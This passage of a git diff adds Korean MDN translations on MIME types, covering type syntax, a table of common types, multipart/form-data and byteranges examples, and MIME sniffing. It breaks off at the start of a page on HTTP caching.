읽을 수 있어야 하며 이진 데이터를 포함해서는 안됩니다.</li> + <li><code>application/octet-stream</code>는 다른 모든 경우를 위한 기본값입니다. 알려지지 않은 파일 타입은 이 타입을 사용해야 합니다. 브라우저들은 이런 파일들을 다룰 때, 사용자를 위험한 동작으로부터 보호하도록 개별적인 주의를 기울여야 합니다.</li> +</ul> + +<p>IANA는 MIME 미디어 타입의 공식적인 레지스트리로 <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">list공식적인 MIME 타입의 전체 목록</a>을 관리합니다. 다음 표에 웹에 대한 몇 가지 중요한 MIME 타입들이 나와 있습니다:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">확장자</th> + <th scope="col">문서 종류</th> + <th scope="col">MIME 타입</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>.aac</code></td> + <td>AAC 오디오 파일</td> + <td><code>audio/aac</code></td> + </tr> + <tr> + <td><code>.abw</code></td> + <td><a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a> 문서</td> + <td><code>application/x-abiword</code></td> + </tr> + <tr> + <td><code>.arc</code></td> + <td>아카이브 문서 (인코딩된 다중 파일)</td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.avi</code></td> + <td>AVI: Audio Video Interleave</td> + <td><code>video/x-msvideo</code></td> + </tr> + <tr> + <td><code>.azw</code></td> + <td>아마존 킨들 전자책 포맷</td> + <td><code>application/vnd.amazon.ebook</code></td> + </tr> + <tr> + <td><code>.bin</code></td> + <td>모든 종류의 이진 데이터</td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.bz</code></td> + <td>BZip 아카이브</td> + <td><code>application/x-bzip</code></td> + </tr> + <tr> + <td><code>.bz2</code></td> + <td>BZip2 아카이브</td> + <td><code>application/x-bzip2</code></td> + </tr> + <tr> + <td><code>.csh</code></td> + <td>C-Shell 스크립트</td> + <td><code>application/x-csh</code></td> + </tr> + <tr> + <td><code>.css</code></td> + <td>Cascading Style Sheets (CSS)</td> + <td><code>text/css</code></td> + </tr> + <tr> + <td><code>.csv</code></td> + <td>Comma-separated values (CSV)</td> + <td><code>text/csv</code></td> + </tr> + <tr> + <td><code>.doc</code></td> + <td>Microsoft Word</td> + <td><code>application/msword</code></td> + </tr> + <tr> + <td><code>.epub</code></td> + <td>Electronic publication (EPUB)</td> + <td><code>application/epub+zip</code></td> + </tr> + <tr> + <td><code>.gif</code></td> + <td>Graphics Interchange Format (GIF)</td> + <td><code>image/gif</code></td> + </tr> + <tr> + <td><code>.htm<br> + .html</code></td> + <td>HyperText Markup Language (HTML)</td> + <td><code>text/html</code></td> + </tr> + <tr> + <td><code>.ico</code></td> + <td>Icon 포맷</td> + <td><code>image/x-icon</code></td> + </tr> + <tr> + <td><code>.ics</code></td> + <td>iCalendar 포맷</td> + <td><code>text/calendar</code></td> + </tr> + <tr> + <td><code>.jar</code></td> + <td>Java 아카이브 (JAR)</td> + <td><code>application/java-archive</code></td> + </tr> + <tr> + <td><code>.jpeg</code><br> + <code>.jpg</code></td> + <td>JPEG 이미지</td> + <td><code>image/jpeg</code></td> + </tr> + <tr> + <td><code>.js</code></td> + <td>JavaScript (ECMAScript)</td> + <td><code>application/js</code></td> + </tr> + <tr> + <td><code>.json</code></td> + <td>JSON 포맷</td> + <td><code>application/json</code></td> + </tr> + <tr> + <td><code>.mid</code><br> + <code>.midi</code></td> + <td>Musical Instrument Digital Interface (MIDI)</td> + <td><code>audio/midi</code></td> + </tr> + <tr> + <td><code>.mpeg</code></td> + <td>MPEG 비디오</td> + <td><code>video/mpeg</code></td> + </tr> + <tr> + <td><code>.mpkg</code></td> + <td>Apple Installer Package</td> + <td><code>application/vnd.apple.installer+xml</code></td> + </tr> + <tr> + <td><code>.odp</code></td> + <td>OpenDocuemnt 프리젠테이션 문서</td> + <td><code>application/vnd.oasis.opendocument.presentation</code></td> + </tr> + <tr> + <td><code>.ods</code></td> + <td>OpenDocuemnt 스프레드시트 문서</td> + <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td> + </tr> + <tr> + <td><code>.odt</code></td> + <td>OpenDocument 텍스트 문서</td> + <td><code>application/vnd.oasis.opendocument.text</code></td> + </tr> + <tr> + <td><code>.oga</code></td> + <td>OGG 오디오</td> + <td><code>audio/ogg</code></td> + </tr> + <tr> + <td><code>.ogv</code></td> + <td>OGG 비디오</td> + <td><code>video/ogg</code></td> + </tr> + <tr> + <td><code>.ogx</code></td> + <td>OGG</td> + <td><code>application/ogg</code></td> + </tr> + <tr> + <td><code>.pdf</code></td> + <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td> + <td><code>application/pdf</code></td> + </tr> + <tr> + <td><code>.ppt</code></td> + <td>Microsoft PowerPoint</td> + <td><code>application/vnd.ms-powerpoint</code></td> + </tr> + <tr> + <td><code>.rar</code></td> + <td>RAR 아카이브</td> + <td><code>application/x-rar-compressed</code></td> + </tr> + <tr> + <td><code>.rtf</code></td> + <td>Rich Text Format (RTF)</td> + <td><code>application/rtf</code></td> + </tr> + <tr> + <td><code>.sh</code></td> + <td>Bourne 쉘 스크립트</td> + <td><code>application/x-sh</code></td> + </tr> + <tr> + <td><code>.svg</code></td> + <td>Scalable Vector Graphics (SVG)</td> + <td><code>image/svg+xml</code></td> + </tr> + <tr> + <td><code>.swf</code></td> + <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) 혹은 Adobe Flash document</td> + <td><code>application/x-shockwave-flash</code></td> + </tr> + <tr> + <td><code>.tar</code></td> + <td>Tape Archive (TAR)</td> + <td><code>application/x-tar</code></td> + </tr> + <tr> + <td><code>.tif<br> + .tiff</code></td> + <td>Tagged Image File Format (TIFF)</td> + <td><code>image/tiff</code></td> + </tr> + <tr> + <td><code>.ttf</code></td> + <td>TrueType Font</td> + <td><code>application/x-font-ttf</code></td> + </tr> + <tr> + <td><code>.vsd</code></td> + <td>Microsft Visio</td> + <td><code>application/vnd.visio</code></td> + </tr> + <tr> + <td><code>.wav</code></td> + <td>Waveform Audio Format</td> + <td><code>audio/x-wav</code></td> + </tr> + <tr> + <td><code>.weba</code></td> + <td>WEBM 오디오</td> + <td><code>audio/webm</code></td> + </tr> + <tr> + <td><code>.webm</code></td> + <td>WEBM 비디오</td> + <td><code>video/webm</code></td> + </tr> + <tr> + <td><code>.webp</code></td> + <td>WEBP 이미지</td> + <td><code>image/webp</code></td> + </tr> + <tr> + <td><code>.woff</code></td> + <td>Web Open Font Format (WOFF)</td> + <td><code>application/x-font-woff</code></td> + </tr> + <tr> + <td><code>.xhtml</code></td> + <td>XHTML</td> + <td><code>application/xhtml+xml</code></td> + </tr> + <tr> + <td><code>.xls</code></td> + <td>Microsoft Excel</td> + <td><code>application/vnd.ms-excel</code></td> + </tr> + <tr> + <td><code>.xml</code></td> + <td><code>XML</code></td> + <td><code>application/xml</code></td> + </tr> + <tr> + <td><code>.xul</code></td> + <td>XUL</td> + <td><code>application/vnd.mozilla.xul+xml</code></td> + </tr> + <tr> + <td><code>.zip</code></td> + <td>ZIP archive</td> + <td><code>application/zip</code></td> + </tr> + <tr> + <td><code>.3gp</code></td> + <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> 오디오/비디오 컨테이너</td> + <td><code>video/3gpp</code><br> + <code>audio/3gpp</code> if it doesn't contain video</td> + </tr> + <tr> + <td><code>.3g2</code></td> + <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> 오디오/비디오 컨테이너</td> + <td><code>video/3gpp2</code><br> + <code>audio/3gpp2</code> if it doesn't contain video</td> + </tr> + <tr> + <td><code>.7z</code></td> + <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> 아카이브</td> + <td><code>application/x-7z-compressed</code></td> + </tr> + </tbody> +</table> diff --git a/files/ko/web/http/basics_of_http/mime_types/index.html b/files/ko/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..9b2ee96c87 --- /dev/null +++ b/files/ko/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,306 @@ +--- +title: MIME 타입 +slug: Web/HTTP/Basics_of_HTTP/MIME_types +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>MIME 타입</strong>이란 클라이언트에게 전송된 문서의 다양성을 알려주기 위한 메커니즘입니다: 웹에서 파일의 확장자는 별 의미가 없습니다. 그러므로, 각 문서와 함께 올바른 MIME 타입을 전송하도록, 서버가 정확히 설정하는 것이 중요합니다. 브라우저들은 리소스를 내려받았을 때 해야 할 기본 동작이 무엇인지를 결정하기 위해 대게 MIME 타입을 사용합니다.</p> + +<p>수 많은 종류의 문서가 있으므로 많은 MIME 타입들이 존재합니다. 우리는 이 글에서 웹 개발에 있어 가장 중요한 MIME 타입들 중 몇 가지를 나열해 살펴보긴 하겠지만, 특정 종류의 문서에 딱 들어맞는 것을 보려면 다음의 전용 문서를 참고하시기 바랍니다: <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">MIME 타입의 전체 목록</a>.</p> + +<p>MIME 타입은 문서 타입 정보를 실어나르는 유일한 방법은 아닙니다:</p> + +<ul> + <li>이름의 접미사가 때때로 사용되는데, 특히 Microsoft의 윈도우즈 시스템이 그렇습니다. 모든 운영체제들이 이런 접미사를 의미있게 생각하는 것은 아니며(Linux 혹은 OS X의 경우 그렇습니다), 외부 MIME 타입의 경우처럼 그들이 정확하다는 보장도 없습니다.</li> + <li>매직 넘버. 다른 종류의 파일의 문법은 구조 상 보여지는 타입을 결정하는데 도움을 줍니다. 예를 들어, 각 GIF 파일들은 47 49 46 38 16진수 값 [GIF89]로 시작되며 PNG 파일의 경우 89 50 4E 47 [.PNG]로 시작됩니다. 파일의 모든 타입들이 이런 매직 넘버를 가지고 있는 것은 아니므로 100% 신뢰할 만한 시스템은 아니기도 합니다.</li> +</ul> + +<p>웹에서는 MIME 타입만이 가장 적절하며, 그러므로 조심스럽게 설정되어야 합니다. 브라우저와 서버들은 일반적인 타입이 제공된 경우에만 MIME 타입을 정의하고, 일치하는지 점검하거나 정확한 MIME 타입을 찾기 위해 접미사나 매직 넘버에 근거하는 휴리스틱(발견적 경험)을 사용합니다.</p> + +<h2 id="문법">문법</h2> + +<h3 id="일반적인_구조">일반적인 구조</h3> + +<pre class="syntaxbox">type/subtype</pre> + +<p>MIME 타입의 구조는 매우 간단합니다; <code>'/'</code>로 구분된 두 개의 문자열인 타입과 서브타입으로 구성됩니다. 스페이스는 허용되지 않습니다. <em>type</em>은 카테고리를 나타내며 <em>개별(discrete) 혹은</em> <em>멀티파트</em> 타입이 될 수 있습니다. <em>subtype</em> 은 각각의 타입에 한정됩니다.</p> + +<p>MIME 타입은 대소문자를 구분하지는 않지만 전통적으로 소문자로 쓰여집니다.</p> + +<h3 id="개별_타입">개별 타입</h3> + +<pre class="syntaxbox">text/plain +text/html +image/jpeg +image/png +audio/mpeg +audio/ogg +audio/* +video/mp4 +application/octet-stream +…</pre> + +<p><em>개별</em> 타입은 문서의 카테고리를 가리키며, 다음 중 하나가 될 수 있습니다:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">타입</th> + <th scope="col">설명</th> + <th scope="col">일반적인 서브타입 예시</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>text</code></td> + <td>텍스트를 포함하는 모든 문서를 나타내며 이론상으로는 인간이 읽을 수 있어야 합니다</td> + <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td> + </tr> + <tr> + <td><code>image</code></td> + <td>모든 종류의 이미지를 나타냅니다. (animated gif처럼) 애니메이션되는 이미지가 이미지 타입에 포함되긴 하지만, 비디오는 포함되지 않습니다.</td> + <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td> + </tr> + <tr> + <td><code>audio</code></td> + <td>모든 종류의 오디오 파일들을 나타냅니다.</td> + <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td> + </tr> + <tr> + <td><code>video</code></td> + <td>모든 종류의 비디오 파일들을 나타냅니다.</td> + <td><code>video/webm</code>, <code>video/ogg</code></td> + </tr> + <tr> + <td><code>application</code></td> + <td>모든 종류의 이진 데이터를 나타냅니다.</td> + <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></td> + </tr> + </tbody> +</table> + +<p>특정 서브타입이 없는 텍스트 문서들에 대해서는 <code>text/plain</code>가 사용되어야 합니다. 특정 혹은 알려진 서브타입이 없는 이진 문서에 대해서는 유사하게, <code>application/octet-stream</code>이 사용되어야 합니다.</p> + +<h3 id="멀티파트_타입">멀티파트 타입</h3> + +<pre class="syntaxbox">multipart/form-data +multipart/byteranges</pre> + +<p id="sect1"><em>멀티파트</em> 타입은 일반적으로 다른 MIME 타입들을 지닌 개별적인 파트들로 나누어지는 문서의 카테고리를 가리킵니다. 즉 이 타입은 <em>합성된</em> 문서를 나타내는 방법입니다. <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>과 {{HTTPMethod("POST")}} 메서드의 관계 속에서 사용되는 <code>multipart/form-data</code> 그리고 전체 문서의 하위 집합만 전송하기 위한 {{HTTPStatus("206")}} <code>Partial Content</code> 상태 메시지와 함께 사용되는 <code>multipart/byteranges</code>를 제외하고는, HTTP가 멀티파트 문서를 다룰 수 있는 특정한 방법은 존재하지 않습니다: 메시지는 브라우저에 간단히 전달됩니다 (문서를 인라인에 어떻게 디스플레이할지 모르기에, '다른 이름으로 저장' 윈도우를 제시할 겁니다)</p> + +<h2 id="웹_개발자들을_위한_중요한_MIME_타입">웹 개발자들을 위한 중요한 MIME 타입</h2> + +<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3> + +<p>이 타입은 이진 파일을 위한 기본값입니다. 이 타입은 실제로 <em>잘 알려지지 않은</em> 이진 파일을 의미하므로, 브라우저는 보통 자동으로 실행하지 않거나 실행해야 할지 묻기도 합니다. {{HTTPHeader("Content-Disposition")}} 헤더가 값 <code>attachment</code> 와 함게 설정되었고 'Save As' 파일을 제안하는지 여부에 따라 브라우저가 그것을 다루게 됩니다.</p> + +<h3 id="textplain"><code>text/plain</code></h3> + +<p>이것은 텍스트 파일에 대한 기본값입니다. 실제로 <em>알려지지 않은 텍스트</em> 파일일지라도 브라우저들은 그것을 디스플레이할 수 있다고 가정합니다.</p> + +<div class="note"> +<p><code>text/plain</code>이 <em>모든 종류의 텍스트 데이터</em>를 의미하지는 않는다는 것을 알아두시기 바랍니다. 만약 브라우저가 특정 종류의 텍스트 데이터를 예상한 경우, 반드시 일치한다고 간주하지 않을 겁니다. 특히, CSS 파일을 선언한 {{HTMLElement("link")}} 엘리먼트로부터 <code>text/plain</code> 파일을 다운로드할 경우, <code>text/plain</code>으로 표현된다면 브라우저는 그것을 유효한 CSS 파일로 감지하지 않을 겁니다. CSS의 MIME 타입인 <code>text/css</code>이 사용되어야 합니다.</p> +</div> + +<h3 id="textcss"><code>text/css</code></h3> + +<p>웹 페이지 내에서 보통 인터프리트되어야 하는 모든 CSS 파일들은 <code>text/css</code> 파일이 되어야 합니다. 대게 서버들은 <code>.css</code> 접미사를 가진 파일들을 CSS 파일이라고 인식하지 못해 <code>text/plain</code> 혹은 <code>application/octet-stream</code> MIME 타입으로 전송합니다: 이런 경우 대부분의 브라우저들이 CSS 파일이라고 인식하지 못하며 조용히 무시될 겁니다. 올바른 타입으로 CSS 파일을 서브하는데 특별한 주의가 필요합니다.</p> + +<h3 id="texthtml"><code>text/html</code></h3> + +<p>모든 HTML 컨텐츠는 이 타입과 함께 서브되어야 합니다. <code>application/xml+html</code>와 같은 XHTML을 위한 대체 MIME 타입들은 현재에는 대부분 쓸모가 없습니다(HTML5이 이 포맷을 흡수했습니다).</p> + +<h3 id="이미지_타입">이미지 타입</h3> + +<p>오직 널리 알려지고 웹에 안전하다고 취급되는 소수의 이미지 타입만이 웹 페이지 내에서 사용될 수 있습니다:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME 타입</th> + <th scope="col">이미지 타입</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>image/gif</code></td> + <td>GIF 이미지 (무손실 압축, PNG에 의해 대체됨)</td> + </tr> + <tr> + <td><code>image/jpeg</code></td> + <td>JPEG 이미지</td> + </tr> + <tr> + <td><code>image/png</code></td> + <td>PNG 이미지</td> + </tr> + <tr> + <td><code>image/svg+xml</code></td> + <td>SVG 이미지 (벡터 이미지)</td> + </tr> + </tbody> +</table> + +<p>WebP (<code>image/webp</code>) 추가에 대한 논의가 있지만 새로운 타입의 이미지는 코드 베이스 크기의 증가를 불러오므로, 새로운 보안 문제를 야기할 수도 있어서 브라우저 벤더들은 그것을 수용하기 전에 매우 신중한 분위기입니다.</p> + +<p>다른 종류의 이미지들은 웹 문서 내에서 찾아볼 수 있습니다. 예를 들어, 많은 브라우저들은 파비콘 혹은 그와 비슷한 아이콘 이미지 타입을 지원합니다. 개별적으로 이런 컨텍스트 내에서, <code>image/x-icon</code> MIME 타입을 이용해 지원되고 있습니다.</p> + +<h3 id="오디오와_비디오_타입">오디오와 비디오 타입</h3> + +<p>이미지처럼, HTML은 {{HTMLElement("audio")}}과 {{HTMLElement("video")}} 엘리먼트에 사용하기 위한 지원 타입셋을 정의하지는 않습니다. 그래서 그것들 중에 비교적 작은 그룹이 웹에서 사용될 수 있습니다. <a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio 그리고 video 엘리먼트에 의해 지원되는 미디어 포맷</a>에서 사용될 수 있는 코덱과 컨테이너 모두를 설명하고 있습니다.</p> + +<p>이런 파일들의 MIME 타입은 대부분 컨테이너 포맷을 나타내며 웹 컨텍스트에서 대부분의 타입들은 다음과 같습니다:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME 타입</th> + <th scope="col">오디오 혹은 비디오 타입</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>audio/wave</code><br> + <code>audio/wav</code><br> + <code>audio/x-wav</code><br> + <code>audio/x-pn-wav</code></td> + <td>WAVE 컨테이너 포맷 내 오디오 파일. PCM 오디오 코덱 (WAVE codec "1")이 자주 지원되며, 다른 코덱들이 좀 더 제한된 상태로 지원됩니다(PCM 오디오 코덱이 없는 경우).</td> + </tr> + <tr> + <td><code>audio/webm</code></td> + <td>WebM 컨테이너 포맷 내 오디오 파일. 가장 일반적인 오디오 코덱인 Vorbis 그리고 Opus이 사용됩니다.</td> + </tr> + <tr> + <td><code>video/webm</code></td> + <td>WebM 컨테이너 포맷 내, 오디오를 지원 가능한 비디오 파일. VP8 그리고 VP9이 이 안에서 가장 일반적으로 사용되는 비디오 코덱입니다; 가장 일반적인 오디오 코덱인 Vorbis 그리고 Opus가 사용됩니다.</td> + </tr> + <tr> + <td><code>audio/ogg</code></td> + <td>OGG 컨테이너 포맷 내 오디오 파일. 이 컨텐이너 내에서는 Vorbis가 가장 일반적으로 사용되는 오디오 코덱입니다.</td> + </tr> + <tr> + <td><code>video/ogg</code></td> + <td>OGG 컨테이너 포맷 내, 오디오를 지원 가능한 비디오 파일. 이 안에서 가장 흔한 비디오 코덱은 Theora 입니다; 흔한 오디오 코덱은 Vorbis입니다.</td> + </tr> + <tr> + <td><code>application/ogg</code></td> + <td>OGG 컨테이너 포맷을 사용하는 오디오 혹은 비디오 파일. 이 안에서 가장 흔한 비디오 코덱은 Theora 입니다; 흔한 오디오 코덱은 Vorbis입니다.</td> + </tr> + </tbody> +</table> + +<h3 id="multipartform-data"><code>multipart/form-data</code></h3> + +<p><code>multipart/form-data</code>은 브라우저에서 서버로 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Form</a>의 내용을 전송 시 사용할 수 있습니다. 멀티 파트 문서 형식으로써, 경계(이중 대시 <code>'--'</code> 로 시작되는 문자열)로 구분되어지는 다른 파트들로 구성됩니다. 각 파트는 그 자체로 개체이며 자신만의 HTTP 헤더를 가지는데, 파일 업로드 필드를 위한 헤더로는 {{HTTPHeader("Content-Disposition")}}, 그리고 가장 일반적인 것 중 하나인 {{HTTPHeader("Content-Type")}}이 있습니다({{HTTPHeader("Content-Length")}}은 경계선이 구분자로 사용되므로 무시됩니다).</p> + +<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aBoundaryString +(other headers associated with the multipart document as a whole) + +--aBoundaryString +Content-Disposition: form-data; name="myFile"; filename="img.jpg" +Content-Type: image/jpeg + +(data) +--aBoundaryString +Content-Disposition: form-data; name="myField" + +(data) +--aBoundaryString +(more subparts) +--aBoundaryString-- + +</pre> + +<p>다음은 HTML form입니다:</p> + +<pre class="brush: html"><form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> + <input type="text" name="myTextField"> + <input type="checkbox" name="myCheckBox">Check</input> + <input type="file" name="myFile"> + <button>Send the file</button> +</form></pre> + +<p>HTML form은 다음 메시지를 전송하게 됩니다:</p> + +<pre>POST / HTTP/1.1 +Host: localhost:8000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 +Content-Length: 465 + +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myTextField" + +Test +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myCheckBox" + +on +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myFile"; filename="test.txt" +Content-Type: text/plain + +Simple file. +-----------------------------8721656041911415653955004498-- + +</pre> + +<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3> + +<p><code>multipart/byteranges</code>는 브라우저로 회신하는 부분적인 응답 전송의 컨텍스트 내에서 사용됩니다. {{HTTPStatus("206")}}<code> Partial Content</code> 상태 코드가 전송된 경우, MIME 타입은 문서가 각각의 요청된 범위들 중 하나인 몇 가지 파트들로 구성되어 있음을 알려주기 위해 사용됩니다. 다른 멀티파트 타입처럼, {{HTTPHeader("Content-Type")}}은 경계선 문자열을 정의하기 위해 <code>boundary</code> 디렉티브를 사용합니다. 각각의 다른 파트들은 문서의 실제 타입을 가진 {{HTTPHeader("Content-Type")}} 헤더와 그들이 나타내는 범위를 가진 {{HTTPHeader("Content-Range")}}를 지니고 있습니다.</p> + +<pre><code>HTTP/1.1 206 Partial Content +Accept-Ranges: bytes +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 385 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-200/1270 + +eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + <meta name="vieport" content +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 300-400/1270 + +-color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica +--3d6b6a416f9b5--</code></pre> + +<h2 id="정확한_MIME_타입_설정의_중요성">정확한 MIME 타입 설정의 중요성</h2> + +<p>대부분의 웹 서버들은 기본 타입 중 하나인 <code>application/octet-stream</code> MIME 타입을 사용해 알려지지 않은 타입의 리소스를 전송합니다; 보안상의 이유로, 대부분의 브라우저들은 그런 리소스에 대한 사용자화된 기본 동작 설정을 허용하지 않으며 그것을 사용하려면 디스크에 저장할 것을 사용자에게 강제합니다. 정확치 않게 구성된 서버들의 몇 가지 일반적 사례들은 다음의 파일 타입에서 일어납니다:</p> + +<ul> + <li> + <p>인코딩된 RAR 파일. 이상적인 것은 인코딩된 파일의 실제 타입을 설정 가능한 것입니다; 이런 일은 대게 불가능합니다(서버가 모르는 타입일 수도 있고 이런 파일들은 다른 타입의 몇몇 리소스들을 포함하고 있을 수도 있습니다). 이런 경우에, <code>application/x-rar-compressed</code> MIME 타입을 전송하도록 서버를 구성하여 사용자가 그에 대한 유용한 기본적인 동작을 정의하지 않게 될 겁니다.</p> + </li> + <li> + <p>오디오와 비디오 파일. 적합한 MIME 타입을 가진 리소스만이 {{ HTMLElement("video") }} 혹은 {{ HTMLElement("audio") }} 엘리먼트 내에서 인식되어 재생될 수 있을 겁니다. <a href="/En/Media_formats_supported_by_the_audio_and_video_elements">오디오와 비디오를 위한 정확한 타입 사용</a>을 확인하시기 바랍니다.</p> + </li> + <li> + <p>개인적인 파일 타입. 개인적인 파일 타입을 서브한 경우 특별한 주의를 기울여야 합니다. 특별한 처리가 불가능하므로 가능하면 <code>application/octet-stream</code> 사용을 피하시기 바랍니다: 대부분의 브라우저들은 이런 포괄적인 MIME 타입에 대한 ("워드에서 열기"와 같은) 기본적인 동작의 정의를 허용하지 않습니다.</p> + </li> +</ul> + +<h2 id="MIME_스니핑">MIME 스니핑</h2> + +<p>MIME 타입이 없을 때, 혹은 클라이언트가 타입이 잘못 설정됐다고 판단한 어떤 다른 경우에, 브라우저들은 MIME 스니핑을 시도할 수도 있는데, 이는 리소스를 훑어보고 정확한 MIME 타입을 추축해내는 것입니다. 각각의 브라우저들은 이런 과정을 다른 방식으로, 다른 환경 속에서 처리해냅니다. 이런 과정에 관한 몇 가지 보안 관련 사항들이 있는데, 몇몇 MIME 타입들은 실행 가능한 컨텐츠를 나타내고 다른 타입들은 그렇지 않기 때문입니다. 서버들은 {{HTTPHeader("Content-Type")}} 중에 {{HTTPHeader("X-Content-Type-Options")}}를 전송하여 이런 MIME 스니핑을 차단할 수 있습니다.</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">서버의 MIME 타입을 적절하게 구성하기</a></li> + <li> + <p><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio 그리고 video 엘리먼트에서 지원하는 미디어 포맷들</a></p> + </li> +</ul> diff --git a/files/ko/web/http/caching/index.html b/files/ko/web/http/caching/index.html new file mode 100644 index 0000000000..3ae3755244 --- /dev/null +++ b/files/ko/web/http/caching/index.html @@ -0,0 +1,193 @@ +--- +title: HTTP caching +slug: Web/HTTP/Caching +tags: + - HTTP + - 가이드 + - 캐싱 +translation_of: Web/HTTP/Caching +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">웹 사이트와 애플리케이션의 성능은 이전에 가져온 리소스들을 재사용함으로써 현저하게 향상될 수 있습니다. 웹 캐시는 레이턴시와 네트워크 트래픽을 줄여줌으로써 리소스를 보여주는 데에 필요한 시간을 줄여줍니다. HTTP 캐싱을 활용하면 웹 사이트가 좀 더 빠르게 반응하도록 만들 수 있습니다.</p> + +<h2 id="다른_종류의_캐시들">다른 종류의 캐시들</h2> + +<p>캐싱은 주어진 리소스의 복사본을 저장하고 있다가 요청 시에 그것을 제공하는 기술입니다. 웹 캐시가 자신의 저장소 내에 요청된 리소스를 가지고 있다면, 요청을 가로채 원래의 서버로부터 리소스를 다시 다운로드하는 대신 리소스의 복사본을 반환합니다. 이것은 다음과 같은 몇 가지 목표를 달성하게 해줍니다: 모든 클라이언트를 서비스할 필요가 없어지므로 서버의 부하를 완화하고, (캐시가 원래 서버에 비해서) 클라이언트에 더 가까이에 있으므로 성능이 향상됩니다. 즉, 리소스를 회신하는데 더 적은 시간이 들게 됩니다. 웹 사이트에서 캐싱은 높은 성능을 달성하는 데에 주요한 요소입니다. 반면에 모든 리소스가 영원히 변하지 않는 것은 아니므로 리소스가 변하기 전까지만 캐싱하고 변한 이후에는 더이상 캐싱하지 않는 것이 중요합니다.</p> + +<p>캐시에는 몇 가지 종류가 있습니다: 크게 사설(private) 혹은 공유(shared) 캐시 두 가지 부류로 분류될 수 있습니다. <em>공유 캐시</em>는 한 명 이상의 사용자가 재사용할 수 있도록 응답을 저장하는 캐시를 말합니다. <em>사설 캐시</em>는 한 명의 사용자만 사용하는 캐시를 말합니다. 이 페이지에서는 거의 대부분 브라우저와 프록시 캐시에 대해서만 다룰 것이나, 그 외에도 더 나은 신뢰도, 성능 그리고 웹 사이트와 웹 애플리케이션의 확장(scaling)을 위해 웹 서버 위에 배포되는 게이트웨이 캐시, CDN, 리버스 프록시 캐시 그리고 로드 밸랜서 등이 있습니다.</p> + +<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p> + +<h3 id="사설_브라우저_캐시">사설 브라우저 캐시</h3> + +<p>사설 캐시는 단일 사용자가 전용으로 사용합니다. 브라우저 설정에서 "caching"을 본 적이 있을 겁니다. 브라우저 캐시는 그 사용자에 의하여 <a href="/en-US/docs/Web/HTTP" title="en/HTTP">HTTP</a>를 통해 다운로드된 모든 문서들을 가지고 있습니다. 이 캐시는 서버에 대한 추가적인 요청 없이 뒤로 가기나 앞으로 가기, 저장, 소스로 보기 등을 위해 방문했던 문서들을 사용할 수 있도록 해 줍니다. 또한 유사한 방법으로 캐시된 컨텐츠의 오프라인 브라우징을 개선시킵니다.</p> + +<h3 id="공유_프록시_캐시">공유 프록시 캐시</h3> + +<p>공유 캐시는 한 명 이상의 사용자에 의해 재사용되는 응답을 저장하는 캐시입니다. 예를 들어, 당신의 회사의 ISP는 많은 사용자들을 서비스하기 위해 지역 네트워크 기반의 일부분으로서 웹 프록시를 설치해뒀을 수도 있는데, 그 덕분에 조회가 많이 되는 리소스들은 몇 번이고 재사용되어 네트워크 트래픽과 레이턴시를 줄여줍니다.</p> + +<h2 